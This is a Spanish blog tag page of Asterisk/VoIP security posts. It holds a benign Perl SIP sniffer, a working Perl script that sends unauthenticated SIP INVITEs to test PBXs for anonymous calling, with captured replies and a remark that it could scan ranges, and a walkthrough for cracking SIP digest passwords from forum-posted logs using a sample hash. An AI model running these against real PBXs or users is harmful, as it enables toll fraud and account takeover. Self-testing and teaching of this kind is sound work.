Posts Tagged ‘Asterisk’

SIP Monitor

Jueves, abril 4th, 2013

Cuando en un entorno de VoIP gestionas muchos usuarios es muy complicado seguir el log que muestra el CLI para ver exactamente dónde hay un error concreto. Muchas veces debes filtrar algún usuario con determinados problemas, por ejemplo de registro, y la verdad es que se hace bastante engorroso realizar un seguimiento de los paquetes. Por otro lado, también resulta un poco coñazo realizar capturas con Tcpdump para luego descargar en otro equipo con entorno gráfico y analizar posteriormente mediante Wireshark.

Para agilizar un poco este proceso he creado un script en Perl muy sencillo que permite aplicar algunos filtros de búsquedas, mostrando por pantalla únicamente aquellos paquetes que necesitemos.

sipmon

El script no es más que un sniffer que monitoriza el tráfico TCP y/o UDP en los puertos que especifiquemos y que nos mostrará los paquetes de señalización SIP que capture. Como se puede ver en la imagen, podemos realizar las capturas que más nos interesen, por ejemplo:

  • Analizar los paquetes con origen o destino hacia una determinada IP.
  • Buscar paquetes con un usuario de registro específico.
  • Monitorizar TCP y/o UDP.
  • Filtrar por método: INVITE, REGISTER, OPTIONS, etc.

Para poderlo usar necesitamos instalar algunas dependencias:

Net::PcapUtils -> http://search.cpan.org/CPAN/authors/id/T/TI/TIMPOTTER/Net-PcapUtils-0.01.tar.gz
Net::Pcap -> http://search.cpan.org/CPAN/authors/id/K/KC/KCARNUT/Net-Pcap-0.05.tar.gz – apt-get install libnet-pcap-perl
Net::SIP -> http://search.cpan.org/CPAN/authors/id/S/SU/SULLR/Net-SIP-0.68.tar.gz – apt-get install libnet-sip-perl
NetPacket::Ethernet -> http://search.cpan.org/CPAN/authors/id/A/AT/ATRAK/NetPacket-0.04.tar.gz
Net::Address::IP::Local -> http://search.cpan.org/CPAN/authors/id/J/JM/JMEHNLE/net-address-ip-local/Net-Address-IP-Local-0.1.2.tar.gz

Y el script:

#!/usr/bin/perl
# Jose Luis Verdeguer AKA Pepelux <verdeguer@zoonsuite.com>
# Twitter: @pepeluxx

use strict;
use Net::PcapUtils;
use Getopt::Long;
use Net::SIP ':all';
use NetPacket::Ethernet;
use NetPacket::IP;
use NetPacket::TCP;
use Net::Address::IP::Local;

# Do no buffering - flushing output directly
$|=1;

# Declaration of functions
sub f_probe_pcapinit;
sub f_probe_read80211b_func;
sub f_probe_ctrl_c;

# Declaration of global variables
my $g_pcap_err = '';
my $g_cap_descrip;
my ($address, $netmask, $err);
my $ip;
my $ether;
my $tcp;
my $myfilter;
my $myaddress;

# Params
my $dev = '';
my $sudp= 0;
my $stcp = 0;
my $port = '';
my $method = '';
my $user = '';
my $oip = '';
my $h = 0;

# Packet struct
my $len = 38;      # 0x26 -> srcport (2)
my $request = 42;  # 0x2a -> SIP request

sub init() {
	# check params
	my $result = GetOptions ("i=s" => \$dev,
				 "p=s" => \$port,
				 "m=s" => \$method,
				 "udp+" => \$sudp,
				 "tcp+" => \$stcp,
				 "user=s" => \$user,
				 "ip=s" => \$oip,
				 "help+" => \$h,
				 "h+" => \$h);

	help() if ($h eq 1);

	my $login = (getpwuid $>);
	die "must run as root" if $login ne 'root';

	$myaddress = Net::Address::IP::Local->public;

	my $proto = '';
	my $port1 = '';
	my $port2 = '';
	my $addr1 = '';
	my $addr2 = '';

	if ($sudp eq 0 && $stcp eq 0) {
		$sudp = 1;
		$stcp = 1;
		$proto = "(udp || tcp)";
		$port1 = "(dst port 5060 || dst port 5061)" if ($port eq "");
		$port2 = "(src port 5060 || src port 5061)" if ($port eq "");
	}
	else {
		if ($sudp eq 1) {
			$proto = "udp";
			$port1 = "dst port 5060" if ($port eq "");
			$port2 = "src port 5060" if ($port eq "");
		}
		else {
			$proto = "tcp";
			$port1 = "dst port 5061" if ($port eq "");
			$port2 = "src port 5061" if ($port eq "");
		}
	}

	if ($port ne "") {
		$port1 = "dst port $port";
		$port2 = "src port $port";
	}

	if ($oip eq "") {
		$addr1 = "dst $myaddress && $port1";
		$addr2 = "src $myaddress && $port2";
	}
	else {
		$addr1 = "(dst $myaddress && $port1 && src $oip)";
		$addr2 = "(src $myaddress && $port2 && dst $oip)";
	}

	$dev = Net::Pcap::lookupdev(\$err) if ($dev eq "");

	if (Net::Pcap::lookupnet($dev, \$address, \$netmask, \$err)) {
	    die 'Unable to look up device information for ', $dev, ' - ', $err;
	}

	$myfilter = "$proto && (($addr1) || ($addr2))";

	print "Interface: $dev ($myaddress)\n";
	print "Filter: $myfilter\n";

	if ($method eq "") { print "Method: ALL\n"; }
	else { print "Method: " . uc($method) . "\n"; }

        print "\n";

	f_probe_pcapinit;
}

sub f_probe_pcapinit {
	$g_cap_descrip = Net::Pcap::open_live($dev, 1500, 0, 0, \$err);

	unless (defined $g_cap_descrip) {
	    die 'Unable to create packet capture on device ', $dev, ' - ', $err;
        }

        # Create filter.
	my $filter;
	Net::Pcap::compile($g_cap_descrip, \$filter, $myfilter, 0, $netmask) && die 'Unable to compile packet capture filter';
	Net::Pcap::setfilter($g_cap_descrip, $filter) && die 'Unable to set packet capture filter';

	# Initiate endless packet gathering.
	Net::Pcap::loop($g_cap_descrip, -1, \&f_probe_read80211b_func , '' );
};

sub f_probe_read80211b_func {
	my($data, $header, $packet) = @_;
	$data = unpack('H*',$packet);

	$ether = NetPacket::Ethernet::strip($packet);
	$ip = NetPacket::IP->decode($ether);
	$tcp = NetPacket::TCP->decode($ip->{'data'});

	if (len($data) > 12) {
		my $sipdata = siprequest($data);
		log_data($sipdata) if (ascii2hex(substr($sipdata, 0, 1)) ne "00");
	}
};

sub siprequest {
	my $data = shift;
	$data = substr($data, $request*2);

	return hex2ascii($data);
};

sub len {
	my $data = shift;
	$data = substr($data, $len*2, 4);

	return hex($data);
};

sub log_data {
	my $sip_pkt = Net::SIP::Packet->new_from_string(@_);
	my $req = Net::SIP::Packet->new_from_string($sip_pkt->as_string);

	my $from = $sip_pkt->get_header('from');
	{
		my @values = split(';', $from);
		$from = $values[0];
	}

	my $to = $sip_pkt->get_header('to');
	{
		my @values = split(';', $to);
		$to = $values[0];
	}

	if ($method eq "" || $req->method eq uc($method)) {
		if ($user eq '' || $from =~ /$user/i || $to =~ /$user/i) {
			print $ip->{'src_ip'}.':'.$tcp->{'src_port'}.' => '.$ip->{'dest_ip'}.':'.$tcp->{'dest_port'}."\t(".$req->method.") ";
			if($sip_pkt->is_response()) { print "\tResponse: ".$req->code; }
			else { print "\tRequest"; }
			print "\n";
			print $sip_pkt->as_string."\n\n";
		}
	}
}

sub ascii2hex($) {
	(my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;
	return $str;
};

sub hex2ascii($) {
	(my $str = shift) =~ s/([a-fA-F0-9]{2})/chr(hex $1)/eg;
	return $str;
};

sub help {
	print qq {
Usage:  $0 [options]

    == Options ==
      -i <iface>       = interface (default try to get automatically)
      -p <port>        = port (default 5060/udp and 5061/tcp)
      -m <method>      = scan only a method (default show all: REGISTER, INVITE, ...)
      -udp             = scan only UDP (default UDP + TCP)
      -tcp             = scan only TCP (default UDP + TCP)
      -ip <addr>       = filter remote IP (default show all)
      -user <data>     = filter user in 'To' or 'From' (default show all)
      -h, -help        = This help

    == Examples ==
      $0 -udp -ip "80.80.80.0/24" -p 5080
      $0 -i eth0 -user "mysipuser"
      $0 -ip "80.80.80.0/24" -user "mysipuser"

};

	exit 1;
};

init();

Supongamos el caso de que queremos monitorizar el registro de un usuario ‘pruebas’. Podemos hacer lo siguiente:


root@sip:~# perl sipmon.pl -m REGISTER -user "pruebas"
Interface: eth0 (X.X.224.7)
Filter: (udp || tcp) && ((dst X.X.224.7 && (dst port 5060 || dst port 5061)) || (src X.X.224.7 && (src port 5060 || src port 5061)))
Method: REGISTER

X.X.194.138:5080 => X.X.224.7:5060 (REGISTER) Request
REGISTER sip:sip.myserver.com SIP/2.0
Via: SIP/2.0/UDP 192.168.200.2:5080;branch=z9hG4bK85544896f396b9b8
From: "pruebas" <sip:pruebas204@sip.myserver.com>;tag=2d3ce7700b58c4d9
To: <sip:pruebas204@sip.myserver.com>
Contact: <sip:pruebas204@192.168.200.2:5080;transport=udp>
Supported: path
Authorization: Digest username="pruebas204", realm="sip", algorithm=MD5, uri="sip:sip.myserver.com", nonce="31dff2d2", response="a4a80fd271da7fae67b2d7f070d99674"
Call-ID: ec2eede904f23ba9@192.168.1.146
CSeq: 47423 REGISTER
Expires: 120
User-Agent: Grandstream GXP2000 1.2.5.3
Max-Forwards: 70
Allow: INVITE,ACK,CANCEL,BYE,NOTIFY,REFER,OPTIONS,INFO,SUBSCRIBE,UPDATE,PRACK,MESSAGE
Content-Length: 0

X.X.224.7:5060 => X.X.194.138:5080 (REGISTER) Response: 401
SIP/2.0 401 Unauthorized
Via: SIP/2.0/UDP 192.168.200.2:5080;branch=z9hG4bK85544896f396b9b8;received=X.X.194.138;rport=5080
From: "pruebas" <sip:pruebas204@sip.myserver.com>;tag=2d3ce7700b58c4d9
To: <sip:pruebas204@sip.myserver.com>;tag=as39c9e1bd
Call-ID: ec2eede904f23ba9@192.168.1.146
CSeq: 47423 REGISTER
Server: sip
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
WWW-Authenticate: Digest algorithm=MD5, realm="sip", nonce="2f022db4"
Content-Length: 0

X.X.194.138:5080 => X.X.224.7:5060 (REGISTER) Request
REGISTER sip:sip.myserver.com SIP/2.0
Via: SIP/2.0/UDP 192.168.200.2:5080;branch=z9hG4bKa5b835310120bb10
From: "pruebas" <sip:pruebas204@sip.myserver.com>;tag=2d3ce7700b58c4d9
To: <sip:pruebas204@sip.myserver.com>
Contact: <sip:pruebas204@192.168.200.2:5080;transport=udp>
Supported: path
Authorization: Digest username="pruebas204", realm="sip", algorithm=MD5, uri="sip:sip.myserver.com", nonce="2f022db4", response="7cc357c57b0198d9bdbcad0cf2870710"
Call-ID: ec2eede904f23ba9@192.168.1.146
CSeq: 47424 REGISTER
Expires: 120
User-Agent: Grandstream GXP2000 1.2.5.3
Max-Forwards: 70
Allow: INVITE,ACK,CANCEL,BYE,NOTIFY,REFER,OPTIONS,INFO,SUBSCRIBE,UPDATE,PRACK,MESSAGE
Content-Length: 0

X.X.224.7:5060 => X.X.194.138:5080 (REGISTER) Response: 200
SIP/2.0 200 OK
Via: SIP/2.0/UDP 192.168.200.2:5080;branch=z9hG4bKa5b835310120bb10;received=X.X.194.138;rport=5080
From: "pruebas" <sip:pruebas204@sip.myserver.com>;tag=2d3ce7700b58c4d9
To: <sip:pruebas204@sip.myserver.com>;tag=as39c9e1bd
Call-ID: ec2eede904f23ba9@192.168.1.146
CSeq: 47424 REGISTER
Server: sip
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
Expires: 120
Contact: <sip:pruebas204@192.168.200.2:5080;transport=udp>;expires=120
Date: Thu, 04 Apr 2013 20:11:14 GMT
Content-Length: 0

Como podemos ver en el resultado, únicamente nos aparece el tráfico de la señalización SIP correspondiente a ese usuario, algo bastante útil si tenemos cientos de clientes conectados. En este caso:

Cliente -> Servidor (REGISTER)
Servidor -> Cliente (401 Unauthorized)
Cliente -> Servidor (REGISTER)
Servidor -> Cliente (200 OK)

Asterisk – INVITE attack (II)

Sábado, enero 5th, 2013

Hace casi un año (cómo pasa el tiempo) escribí una entrada sobre cómo es posible realizar llamadas a través de un sistema de VoIP sin disponer de ninguna cuenta en el sistema, si se diera el caso de que el servidor no está bien configurado. Si no has leído la entrada, la puedes ver aquí: Asterisk – INVITE attack

Tal y como comenté, en la web de Sinologic podemos comprobar si nuestro servidor es vulnerable ante estos ataques, pero para una mejor comprensión, he programado un pequeño script con el que podemos comprobarlo:

#!/usr/bin/perl
# -=-=-=-=-=-=-=
# SipINVITE v1.0
# -=-=-=-=-=-=-=
#
# Pepelux <pepelux[at]gmail[dot]com>

use warnings;
use strict;
use IO::Socket;
use NetAddr::IP;
use Getopt::Long;
use Digest::MD5;

my $host = '';	   # host
my $port = '';	   # port
my $number = '';	# number to call

my $lport = "5061";
my $myip = "192.168.2.9";

sub init() {
	if ($^O =~ /Win/) {system("cls");}else{system("clear");}

	# check params
	my $result = GetOptions ("h=s" => \$host,
	                         "n=s" => \$number,
	                         "p=s" => \$port);

	help() if ($host eq "" || $number eq "");

	$port = "5060" if ($port eq "");

	invite($host, $port, $number);

	exit;
}

sub invite {
	my $ip = shift;
	my $nport = shift;
	my $user = shift;

	my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$ip, Timeout => 2);

	$lport = $sc->sockport();

	my $branch = &generate_random_string(71, 0);
	my $callerid = &generate_random_string(32, 1);

	my $msg = "INVITE sip:".$number."@".$ip.";transport=UDP SIP/2.0\n";
	$msg .= "Supported: \n";
	$msg .= "Allow: INVITE, ACK, OPTIONS, CANCEL, BYE\n";
	$msg .= "Contact: $user <sip:".$user."@".$myip.":$lport>\n";
	$msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=$branch\n";
	$msg .= "Call-id: $callerid\n";
	$msg .= "Cseq: 1 INVITE\n";
	$msg .= "From: 100 <sip:100@".$myip.">;tag=ddb044893807095baf1cf07269f03118\n";
	$msg .= "Max-forwards: 70\n";
	$msg .= "To: <sip:".$user."@".$ip.">\n";
	$msg .= "Content-length: 123\n\n";
	$msg .= "v=0\n";
	$msg .= "o=anonymous 1312841870 1312841870 IN IP4 $ip\n";
	$msg .= "s=session\n";
	$msg .= "c=IN IP4 $ip\n";
	$msg .= "t=0 0\n";
	$msg .= "m=audio 2362 RTP/AVP 0\n\n";

	print $sc $msg;

	print "\nSending:\n=======\n$msg\n\n";

	my $data = "";
	my $server = "";
	my $useragent = "";
	my $line = "";

	LOOP: {
		while (<$sc>) {
			$line = $_;

			if ($line =~ /[Ss]erver/ && $server eq "") {
	   		$line =~ /[Ss]erver\:\s(.+)\r\n/;

		   	if ($1) {
					$server = $1;
				}
			}

			if ($line =~ /[Uu]ser\-[Aa]gent/ && $useragent eq "") {
	   		$line =~ /[Uu]ser\-[Aa]gent\:\s(.+)\r\n/;

		   	if ($1) {
					$useragent = $1;
				}
			}

			$data .= $line;

			if ($line =~ /^\r\n/) {
				last LOOP;
			}
		}
	}

	print "\nReceiving:\n=========\n$data\n\n";
}

sub generate_random_string {
	my $length_of_randomstring = shift;
	my $only_hex = shift;
	my @chars;

	if ($only_hex == 0) {
		@chars = ('a'..'z','0'..'9');
	}
	else {
		@chars = ('a'..'f','0'..'9');
	}
	my $random_string;
	foreach (1..$length_of_randomstring) {
		$random_string.=$chars[rand @chars];
	}
	return $random_string;
}

sub help {
	print qq{
Usage:  $0 -h <host> [options]

== Options ==
-n <integer>     = Number to call
-p <integer>     = Remote SIP port (default: 5060)

== Examples ==
\$$0 -h 192.168.0.1 -n 100
\$$0 -h 192.168.0.1 -n 666666666 -p 5060

};

	exit 1;
}

init();

El script únicamente admite un host a escanear, pero no sería muy complicado modificarlo para poder realizar escaneos de rangos para buscar centralitas vulnerables.

Tras ejecutarlo, en caso de que seamos vulnerables, veremos algo así:

pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 657xxxxxx

Sending:
=======
INVITE sip:657xxxxxx@192.168.2.9;transport=UDP SIP/2.0
Supported:
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE
Contact: 657xxxxxx <sip:657xxxxxx@192.168.2.9:41676>
Via: SIP/2.0/UDP 192.168.2.9:41676;branch=urt5wo9d7i28sphm1i381q8udgvblgps4i0bahrc3981cjtqc3ls2y0v6wr8bqafhq7k2mq
Call-id: 77bc64f6f7b24ffd2b2a41d454f48aa5
Cseq: 1 INVITE
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
Max-forwards: 70
To: <sip:657xxxxxx@192.168.2.9>
Content-length: 123

Receiving:
=========
SIP/2.0 100 Trying
Via: SIP/2.0/UDP 192.168.2.9:41676;branch=urt5wo9d7i28sphm1i381q8udgvblgps4i0bahrc3981cjtqc3ls2y0v6wr8bqafhq7k2mq;received=192.168.2.9
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
To: <sip:657xxxxxx@192.168.2.9>
Call-ID: 77bc64f6f7b24ffd2b2a41d454f48aa5
CSeq: 1 INVITE
Server: Asterisk PBX 1.8.5.0
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
Contact: <sip:657xxxxxx@192.168.2.9:5060>
Content-Length: 0

Como se puede apreciar, la respuesta por parte del servidor es un ’100 Trying’, lo que nos indica que la petición ha sido aceptada y está intentando efectuar la llamada. En caso de que el número que hayamos indicado sea válido, simplemente se ejecutará la llamada. Si ponemos un número inexistente, no se efectuará, evidentemente … pero la respuesta nos servirá para verificar que la máquina es vulnerable.

En caso de que la configuración del contexto default sea correcta y no permita realizar llamadas veremos algo así:

pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 657xxxxxx

Sending:
=======
INVITE sip:657xxxxxx@192.168.2.9;transport=UDP SIP/2.0
Supported:
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE
Contact: 657xxxxxx <sip:657xxxxxx@192.168.2.9:32986>
Via: SIP/2.0/UDP 192.168.2.9:32986;branch=m63uj1c2604cuy4vi6gv00wp2wrz0gfxd6pk2hehydmxf7mkgik3zh8pjjlzyobbw0vrb0z
Call-id: 5265813dee1ea0f4af3672f83c1694ea
Cseq: 1 INVITE
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
Max-forwards: 70
To: <sip:657xxxxxx@192.168.2.9>
Content-length: 123

v=0
o=anonymous 1312841870 1312841870 IN IP4 192.168.2.9
s=session
c=IN IP4 192.168.2.9
t=0 0
m=audio 2362 RTP/AVP 0

Receiving:
=========
SIP/2.0 404 Not Found
Via: SIP/2.0/UDP 192.168.2.9:32986;branch=m63uj1c2604cuy4vi6gv00wp2wrz0gfxd6pk2hehydmxf7mkgik3zh8pjjlzyobbw0vrb0z;received=192.168.2.9
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
To: <sip:657xxxxxx@192.168.2.9>;tag=as084cea9d
Call-ID: 5265813dee1ea0f4af3672f83c1694ea
CSeq: 1 INVITE
Server: Asterisk PBX 1.8.5.0
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
Content-Length: 0

Obtendremos un ’404 Not Found’. Y en el log del Asterisk veremos:

 == Using SIP RTP CoS mark 5
[Jan  5 19:12:45] NOTICE[14000]: chan_sip.c:22001 handle_request_invite: Call from '' (192.168.2.9:52838) to extension '657xxxxxx' rejected because extension not found in context 'default'.

Recordemos que mediante la variable allowguest (que por defecto viene a ‘yes’) podemos permitir el uso de peticiones anónimas. A pesar de tener bien configurado el contexto default, si allowguest=yes podremos realizar llamadas a extensiones internas del sistema. Por ejemplo:

Sending:
=======
pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 100

Sending:
=======
INVITE sip:100@192.168.2.9;transport=UDP SIP/2.0
Supported:
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE
Contact: 100 <sip:100@192.168.2.9:40486>
Via: SIP/2.0/UDP 192.168.2.9:40486;branch=425cfal377g9478pezv1akbcr336wax0l0r7ft25ukumtksthinkdh6ipmui23p59mbhuqa
Call-id: 497cd8864668cd7580dace0dd3f357f2
Cseq: 1 INVITE
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
Max-forwards: 70
To: <sip:100@192.168.2.9>
Content-length: 123

v=0
o=anonymous 1312841870 1312841870 IN IP4 192.168.2.9
s=session
c=IN IP4 192.168.2.9
t=0 0
m=audio 2362 RTP/AVP 0

Receiving:
=========
SIP/2.0 100 Trying
Via: SIP/2.0/UDP 192.168.2.9:40486;branch=425cfal377g9478pezv1akbcr336wax0l0r7ft25ukumtksthinkdh6ipmui23p59mbhuqa;received=192.168.2.9
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
To: <sip:100@192.168.2.9>
Call-ID: 497cd8864668cd7580dace0dd3f357f2
CSeq: 1 INVITE
Server: Asterisk PBX 1.8.5.0
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
Contact: <sip:100@192.168.2.9:5060>
Content-Length: 0

Sin embargo, si establecemos allowguest=no nos solicitará autenticación y no nos permitirá llamar:

Sending:
=======
pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 100

INVITE sip:100@192.168.2.9;transport=UDP SIP/2.0
Supported:
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE
Contact: 100 <sip:100@192.168.2.9:46225>
Via: SIP/2.0/UDP 192.168.2.9:46225;branch=elh0iukgef1rnodg0erpe6btllyka0lfvzwkwkphfck1heu9zw4hvw8s6fo5r1935l93v75
Call-id: cfd8b3380a3532be7ac7650026fd23fb
Cseq: 1 INVITE
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
Max-forwards: 70
To: <sip:100@192.168.2.9>
Content-length: 123

v=0
o=anonymous 1312841870 1312841870 IN IP4 192.168.2.9
s=session
c=IN IP4 192.168.2.9
t=0 0
m=audio 2362 RTP/AVP 0

Receiving:
=========
SIP/2.0 401 Unauthorized
Via: SIP/2.0/UDP 192.168.2.9:46225;branch=elh0iukgef1rnodg0erpe6btllyka0lfvzwkwkphfck1heu9zw4hvw8s6fo5r1935l93v75;received=192.168.2.9
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
To: <sip:100@192.168.2.9>;tag=as58329940
Call-ID: cfd8b3380a3532be7ac7650026fd23fb
CSeq: 1 INVITE
Server: Asterisk PBX 1.8.5.0
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
WWW-Authenticate: Digest algorithm=MD5, realm="asterisk", nonce="59b26d87"
Content-Length: 0

En este caso recibimos un ’401 Unauthorized’ indicándonos la necesidad de autenticarnos para poder realizar llamadas.

 

Asterisk SIP cracking

Sábado, agosto 11th, 2012

Hay mucha gente que dado un problema en el registro con su Asterisk no duda en pegar el log entero en un foro para ver si alguien le puede ayudar con su problema. Como en el log no se ve ninguna contraseña, se supone que es seguro pegarlo, ya que no aparece en claro. Me refiero a algo así:



<--- SIP read from UDP:X.X.X.X:5064 --->
REGISTER sip:sip.server.com SIP/2.0
Via: SIP/2.0/UDP 192.168.1.34:5064;branch=z9hG6bK7786e6f33d4b2d9d
From: "pruebas" <sip:pruebas@sip.server.com>;tag=2d3ce7700b58c2d9
To: <sip:pruebas@sip.server.com>
Contact: <sip:pruebas@192.168.1.34:5064;transport=udp>
Supported: path
Call-ID: 83a422169dd5328e@192.168.1.34
CSeq: 40001 REGISTER
Expires: 120
User-Agent: Grandstream GXP2000 1.2.5.3
Max-Forwards: 70
Allow: INVITE,ACK,CANCEL,BYE,NOTIFY,REFER,OPTIONS,INFO,SUBSCRIBE,UPDATE,PRACK,MESSAGE
Content-Length: 0

<------------->
--- (13 headers 0 lines)
---Sending to X.X.X.X:5064 (no NAT)
<--- Transmitting (NAT) to X.X.X.X:5064 --->
SIP/2.0 401 Unauthorized
Via: SIP/2.0/UDP 192.168.1.34:5064;branch=z9hG6bK7786e6f33d4b2d9d;received=X.X.X.X;rport=5064
From: "pruebas" <sip:pruebas@sip.server.com>;tag=2d3ce7700b58c2d9
To: <sip:pruebas@sip.server.com>;tag=as6f72938e
Call-ID: 83a422169dd5328e@192.168.1.34
CSeq: 40001 REGISTERServer: sip3
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
WWW-Authenticate: Digest algorithm=MD5, realm="sip3", nonce="5f56a903"
Content-Length: 0

<------------>
Scheduling destruction of SIP dialog '83a422169dd5328e@192.168.1.34' in 32000 ms (Method: REGISTER)
<--- SIP read from UDP:X.X.X.X:5064 --->
REGISTER sip:sip.server.com SIP/2.0
Via: SIP/2.0/UDP 192.168.1.34:5064;branch=z9hG6bK7786e6f33d4b2d9d
From: "pruebas" <sip:pruebas@sip.server.com>;tag=2d3ce7700b58c2d9
To: <sip:pruebas@sip.server.com>
Contact: <sip:pruebas@192.168.1.34:5064;transport=udp>
Supported: path
Authorization: Digest username="pruebas", realm="sip3", algorithm=MD5, uri="sip:sip.server.com",
nonce="5f56a903", response="f43b50de15bb07f909787dfb8ab487f8"
Call-ID: 83a422169dd5328e@192.168.1.34
CSeq: 40002 REGISTER
Expires: 120User-Agent: Grandstream GXP2000 1.2.5.3
Max-Forwards: 70
Allow: INVITE,ACK,CANCEL,BYE,NOTIFY,REFER,OPTIONS,INFO,SUBSCRIBE,UPDATE,PRACK,MESSAGE
Content-Length: 0

<------------->
--- (14 headers 0 lines)
---Sending to X.X.X.X:5064 (NAT)
<--- Transmitting (NAT) to X.X.X.X:5064 --->
SIP/2.0 200 OK
Via: SIP/2.0/UDP 192.168.1.34:5064;branch=z9hG6bK7786e6f33d4b2d9d;received=X.X.X.X;rport=5064
From: "pruebas" <sip:pruebas@sip.server.com>;tag=2d3ce7700b58c2d9
To: <sip:pruebas@sip.server.com>;tag=as6f72238e
Call-ID: 83a422169dd5328e@192.168.1.34
CSeq: 40002 REGISTER
Server: sip3
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
Expires: 120
Contact: <sip:pruebas@192.168.1.34:5064;transport=udp>;expires=120
Date: Sat, 11 Aug 2012 08:59:34 GMT
Content-Length: 0

<------------>

sip3*CLI>



Antes de ver cómo podemos sacar partido a esta información, que el usuario tan amablemente nos publica en los foros, vamos a ver cómo se hace un registro en un Asterisk.



En primer lugar mandamos un paquete de registro al servidor de VoIP, indicando nuestro deseo de registrar un terminal. Para ello le enviaremos una serie de datos (a través de un paquete REGISTER) , pero nunca nuestra contraseña.


Tras mandar la petición al servidor, este nos devolverá un error ‘401 Unauthorized‘ pasándonos 2 valores que necesitaremos para completar el registro. Estos valores son: ‘realm‘ y ‘nonce‘. Acto seguido, generaremos un MD5 (indicándolo como valor de la variable response) que nos servirá para registrarnos, enviando un nuevo paquete REGISTER .  El servidor analizará ese response y nos devolverá un 200 si todo va bien, o un nuevo 401 en caso de que la contraseña sea incorrecta.


¿Y cómo generamos ese MD5 que realizará la validación? Pues de la siguiente forma:




response = md5(A:nonce:B)

-> nonce recordemos que nos lo facilita el servidor tras el primer REGISTER

A = md5(user:realm:pass)

-> user es nuestro usuario, que podemos ver, en claro, en el paquete generado en el primer REGISTER
-> realm también nos lo facilita el servidor tras el primer REGISTER
-> pass es la contraseña del usuario que desconocemos

B = md5(REGISTER:uri)

-> REGISTER es esa palabra tal cual
-> uri la podemos ver también en el primer paquete y tiene la forma 'sip:host.com'


De manera que con el log que nos han posteado tenemos todos los ingredientes, incluyendo el ‘response’, que es el MD5 final con la contraseña incluida y, lo único que desconocemos de todo esto, es la pass, algo que podremos intentar crackear teniendo el resto de datos.


Analicemos:



A = md5(user:realm:pass)
A = md5(pruebas:sip3:???)

B = md5(REGISTER:uri)
B = md5(REGISTER:sip:sip.server.com)
B = b726873895519048d1838bf7b4d78df6

response = md5(A:nonce:B)
response = md5(md5(pruebas:sip3:???):5f56a903:b726873895519048d1838bf7b4d78df6)
response = f43b50de15bb07f909787dfb8ab487f8  <- según la captura


Con un simple crackeador de MD5 podremos averiguar la contraseña de ese usuario que ha publicado el log en un foro.


A ver quién averigua la contraseña del ejemplo, que es de las fáciles :)


Servicios de llamadas gratis

Lunes, mayo 7th, 2012

Hay cientos de páginas web que nos ofrecen servicios de llamadas gratis a casi cualquier destino del mundo. Supongo que mucha gente tendrá la duda de si esto es o no cierto ya que, como se suele decir, nadie da duros por pesetas.


Realmente esto es cierto. Se realiza una llamada a una pasarela y pagamos el coste de la llamada a ese número, normalmente móvil nacional, y el desvío de la llamada al destino final es gratuito para nosotros. Es decir, Podemos llamar a Alemania, por ejemplo, a coste de llamada a móvil nacional. Y si nuestro operador nos permite poner un número favorito al que llamemos gratis, y escogemos la pasarela, podemos llamar totalmente gratis a otros móviles o destinos internacionales … siempre que nuestro operador cumpla el contrato y no nos facture luego las llamadas a ese número favorito (que no sería la primera vez que, por abuso, un operador incumple el contrato).


El funcionamiento es sencillo, nosotros llamamos a un móvil, que va conectado a un servidor de VoIP. Al descolgar nos pide que marquemos el número destino, y se efectúa la llamada a través de la pasarela. Nosotros pagamos sólo la llamada de nuestro móvil al de la pasarela y la segunda llamada corre a cargo del operador de VoIP que ofrece este servicio.


¿Dónde está el truco? El operador asume el cargo de esas llamadas que realizamos pero, el número al que estamos llamando, la pasarela, es un número retribuido, es decir, nuestro operador cobra (evidentemente una cantidad superior a la del coste de la llamada) por cada llamada recibida en ese número. Total: segundos recibidos – segundos hablados = beneficio.


Buscando en Internet, una web curiosa que he encontrado es freecall.com en la que dicen que ofrecen el servicio freecall más barato:

FreeCall | The cheapest freecalls on the planet!


Si freecall es gratis, ¿qué hay más barato que algo gratis? :)


Y bueno, ¿Cómo podemos montar nuestro negocio y ganar algo de pasta?


- Nos montamos un servidor Asterisk con un servicio de pasarela.

- Contratamos con un operador un número retribuido, del que percibamos un beneficio por cada llamada, a razón de los segundos hablados. Y le decimos que nos entregue las llamadas en la IP de nuestro Asterisk.

- Creamos una bonita web que ofrezca llamadas gratis a los destinos que ofrezcamos.

